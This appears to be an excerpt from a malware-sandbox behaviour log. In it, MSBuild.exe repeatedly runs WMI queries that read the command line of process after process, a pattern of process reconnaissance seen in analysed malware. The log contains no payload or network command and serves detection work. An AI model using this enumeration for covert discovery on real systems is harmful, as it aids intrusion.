Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 3628
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 2640
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 1260
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 5396
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 2440
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 1848
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 1452
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 2632
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 3372
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 3416
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 460
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 656
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 6000
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 3800
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 840
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 6900
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 4380
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 3000
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 832
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 436
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 1808
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 2004
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 3884
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 1528
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 1800
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 4520
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 4160
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 1204
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 6164
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 804
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 5728
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 1196
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 2180
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 2376
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 1388
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 2372
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 1780
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 2764
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 1384
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 4
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 2944
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 2168
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 5908
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 1964
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 584
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 7504
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 1368
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 972
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 380
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 1756
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 2740
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 5528
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 6284
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 5884
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 1352
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 7064
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 3516
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 6076
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 2920
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 7056
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 356
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 4292
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 6416
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 2516
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 1136
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 2316
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 344
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 5384
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 2508
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 2112
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 1520
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 5736
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 2700
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 728
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 924
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 2892
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 1512
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 2888
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 6236
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 4068
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 2688
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 3672
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 6624
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 2680
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 1300
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 2284
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 1688
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 520
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 108
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 8184
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 664
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 5620
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 1676
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 4236
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 6844
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 5020
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 7628
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 4144
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 1076
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 5212
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 3832
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 5168
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 512
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 1068
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 3628
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 2640
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 1260
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 5396
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 2440
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 1848
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 1452
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 2632
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 3372
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 3416
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 460
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 656
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 6000
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 3800
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 840
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 6900
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 4380
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 3000
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 832
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 436
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 1808
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 2004
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 3884
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 1528
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 1800
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 4520
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 4160
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 1204
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 6164
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 804
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 5728
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 1196
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 2180
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 2376
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 1388
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 2372
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 1780
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 2764
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 1384
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 4
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 2944
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 2168
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 0
